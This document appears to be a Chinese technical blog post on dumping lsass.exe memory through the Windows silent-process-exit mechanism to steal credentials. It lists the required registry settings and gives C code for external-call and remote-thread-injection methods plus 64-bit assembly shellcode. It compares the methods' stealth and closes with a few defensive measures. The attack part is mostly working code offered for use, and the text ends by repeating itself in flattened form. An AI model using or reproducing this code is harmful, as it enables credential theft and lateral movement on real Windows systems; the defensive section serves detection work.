静默退出 DUMP LSASS.EXE
字数 982 2025-08-09 13:33:54

静默退出 DUMP LSASS.EXE 技术详解

技术原理

RtlReportSilentProcessExit 是一种 Windows 系统提供的静默退出机制,可以用来在不实际终止进程的情况下触发系统生成进程内存转储文件。该技术通过以下步骤实现:

  1. 注册表配置:修改特定注册表项,配置 dump 保存路径和参数
  2. 函数调用:通过 RtlReportSilentProcessExit 告诉系统正在执行静默退出
  3. 内存转储:系统根据注册表配置生成进程内存转储文件

注册表配置要求

需要配置以下注册表项:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe

具体键值:

  1. Image File Execution Options 下:

    • GlobalFlag: 0x200 (启用静默进程退出监测)
  2. SilentProcessExit 下:

    • DumpType: 0x02 (dump 内存的类型)
    • LocalDumpFolder: c:\temp (dump 后保存的地址)
    • ReportingMode: 0x02 (退出执行的操作)

实现方法

方法一:外部调用

#include "windows.h"
#include "tlhelp32.h"
#include "stdio.h"
#include "shlwapi.h"
#pragma comment(lib, "shlwapi.lib")

#define IFEO_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
#define SILENT_PROCESS_EXIT_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\"
#define LOCAL_DUMP 0x2
#define FLG_MONITOR_SILENT_PROCESS_EXIT 0x200
#define DUMP_FOLDER L"C:\\temp"
#define MiniDumpWithFullMemory 0x2

typedef NTSTATUS(NTAPI* fRtlReportSilentProcessExit)(HANDLE processHandle, NTSTATUS ExitStatus);

// 启用DEBUG权限
BOOL EnableDebugPriv() {
    // 实现代码...
}

// 设置相关注册表
BOOL setRelatedRegs(PCWCHAR procName) {
    // 实现代码...
}

// 通过进程名获取PID
DWORD getPidByName(PCWCHAR procName) {
    // 实现代码...
}

INT main() {
    PCWCHAR targetProcName = L"lsass.exe";
    DWORD pid = -1;
    HMODULE hNtMod = NULL;
    fRtlReportSilentProcessExit fnRtlReportSilentProcessExit = NULL;
    HANDLE hLsassProc = NULL;
    NTSTATUS ntStatus = -1;

    if (!EnableDebugPriv()) {
        printf(" - 启用当前进程DEBUG权限失败: %#X\n", GetLastError());
        return 1;
    }

    if (!setRelatedRegs(targetProcName)) {
        printf(" - 设置相关注册表键值失败: %#X\n", GetLastError());
        return 1;
    }

    pid = getPidByName(targetProcName);
    if (-1 == pid) {
        printf(" - 获取目标进程pid: %#X\n", pid);
        return 1;
    }

    hNtMod = GetModuleHandle(L"ntdll.dll");
    fnRtlReportSilentProcessExit = (fRtlReportSilentProcessExit)GetProcAddress(hNtMod, "RtlReportSilentProcessExit");
    
    hLsassProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, 0, pid);
    ntStatus = fnRtlReportSilentProcessExit(hLsassProc, 0);
    
    printf(" - 结束,查看c:\\temp\\lsass*.dmp...RET CODE : %#X\n", (DWORD)ntStatus);
    
    return 0;
}

方法二:线程注入

#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
#include "shlwapi.h"
#pragma comment(lib, "shlwapi.lib")

typedef NTSTATUS(NTAPI* fRtlReportSilentProcessExit)(HANDLE processHandle, NTSTATUS ExitStatus);

typedef struct Rtl {
    HANDLE GCP; // 参数
    FARPROC dwRtlReportSilentProcessExit; // 函数地址
} RtlReportParam;

// 线程函数
DWORD WINAPI threadProc(LPVOID lParam) {
    fRtlReportSilentProcessExit RtlReportSilentProcessExit;
    RtlReportParam* pRP = (RtlReportParam*)lParam;
    RtlReportSilentProcessExit = (fRtlReportSilentProcessExit)pRP->dwRtlReportSilentProcessExit;
    RtlReportSilentProcessExit(pRP->GCP, 0);
    return 0;
}

// 获取进程PID
DWORD getPidByName(PCWCHAR procName) {
    // 实现代码...
}

void main() {
    DWORD dwSize = 4096;
    PCWCHAR targetProcName = L"lsass.exe";
    int pid = getPidByName(targetProcName);
    HANDLE notepad = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
    
    // 把ThreadProc写入内存
    LPVOID base_address = VirtualAllocEx(notepad, 0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(notepad, base_address, &threadProc, dwSize, 0);
    
    // 获取函数地址和参数,传到结构里面并写入注入进程的内存
    RtlReportParam RtlReportParamData;
    ZeroMemory(&RtlReportParamData, sizeof(RtlReportParam));
    RtlReportParamData.dwRtlReportSilentProcessExit = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlReportSilentProcessExit");
    RtlReportParamData.GCP = GetCurrentProcess();
    
    LPVOID pRemoteParam = VirtualAllocEx(notepad, 0, sizeof(RtlReportParamData), MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(notepad, pRemoteParam, &RtlReportParamData, sizeof(RtlReportParamData), 0);
    
    // 执行函数
    DWORD dwWriteBytes;
    HANDLE hRemoteThread = CreateRemoteThread(
        notepad, NULL, 0,
        (DWORD(WINAPI*)(void*))base_address,
        pRemoteParam, CREATE_SUSPENDED, &dwWriteBytes);
    ResumeThread(hRemoteThread);
}

方法三:Shellcode注入(64位)

.DATA
.CODE
func PROC
    mov rdx,gs:[60h]       ; 64位PEB地址
    mov rbx, [rdx+18h]     ; Ldr
    mov rsi, [rbx+28h]     ; InMemoryOrderModuleList
    mov rsi,[rsi] 
    mov rsi,[rsi]
    mov rsi,[rsi]          ; 找到ntdll.dll的LDR_DATA_TABLE_ENTRY
    mov rbx, [rsi+20h]     ; ntdll.dll的基址
    mov edx, [rbx+3Ch]     ; e_lfanew偏移
    add rdx, rbx           ; e_lfanew
    mov edx, [rdx+88h]     ; VirtualAddress偏移
    add rdx, rbx           ; VirtualAddress
    mov esi, [rdx+20h]     ; AddressOfNames偏移
    add rsi, rbx           ; AddressOfNames
    xor rcx,rcx            ; rcx置零
    
Get_Function:
    inc rcx
    lodsd
    add rax,rbx
    cmp dword ptr [rax], 526c7452h
    jnz Get_Function
    cmp dword ptr [rax+4], 726f7065h
    jnz Get_Function
    cmp dword ptr [rax+8], 6c695374h
    jnz Get_Function      ; 找到RtlReportSilentProcessExit名称地址
    
    mov esi, [rdx+24h]
    add rsi, rbx
    mov cx, [rsi + rcx * 2]
    dec rcx
    mov esi, [rdx+1ch]
    add rsi, rbx
    mov edx, [rsi + rcx * 4]
    add rdx, rbx
    mov rbx, rdx
    
    mov rcx, -1           ; -1代表当前进程句柄
    mov rdx, 0            ; 第二个参数
    call rbx              ; 执行RtlReportSilentProcessExit
    ret
func ENDP
END

技术对比

  1. 外部调用

    • 优点:稳定可靠
    • 缺点:会同时dump调用进程的内存
  2. 线程注入

    • 优点:只dump目标进程内存
    • 缺点:需要重启系统后才能生效,稳定性较差
  3. Shellcode注入

    • 优点:隐蔽性高
    • 缺点:编写复杂,需要处理64位指针

防御措施

  1. 监控注册表关键位置的修改:

    • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
    • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\
  2. 限制对 lsass.exe 进程的访问权限

  3. 启用 Windows Defender 攻击面减少规则,防止 LSASS 内存转储

  4. 监控异常的内存转储文件生成行为

参考资源

  1. Microsoft 文档:Registry Entries for Silent Process Exit
  2. Microsoft 文档:Enable Silent Process Exit Monitoring
  3. 相关技术分析文章
静默退出 DUMP LSASS.EXE 技术详解 技术原理 RtlReportSilentProcessExit 是一种 Windows 系统提供的静默退出机制,可以用来在不实际终止进程的情况下触发系统生成进程内存转储文件。该技术通过以下步骤实现: 注册表配置 :修改特定注册表项,配置 dump 保存路径和参数 函数调用 :通过 RtlReportSilentProcessExit 告诉系统正在执行静默退出 内存转储 :系统根据注册表配置生成进程内存转储文件 注册表配置要求 需要配置以下注册表项: 具体键值: Image File Execution Options 下: GlobalFlag : 0x200 (启用静默进程退出监测) SilentProcessExit 下: DumpType : 0x02 (dump 内存的类型) LocalDumpFolder : c:\temp (dump 后保存的地址) ReportingMode : 0x02 (退出执行的操作) 实现方法 方法一:外部调用 方法二:线程注入 方法三:Shellcode注入(64位) 技术对比 外部调用 : 优点:稳定可靠 缺点:会同时dump调用进程的内存 线程注入 : 优点:只dump目标进程内存 缺点:需要重启系统后才能生效,稳定性较差 Shellcode注入 : 优点:隐蔽性高 缺点:编写复杂,需要处理64位指针 防御措施 监控注册表关键位置的修改: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\ 限制对 lsass.exe 进程的访问权限 启用 Windows Defender 攻击面减少规则,防止 LSASS 内存转储 监控异常的内存转储文件生成行为 参考资源 Microsoft 文档:Registry Entries for Silent Process Exit Microsoft 文档:Enable Silent Process Exit Monitoring 相关技术分析文章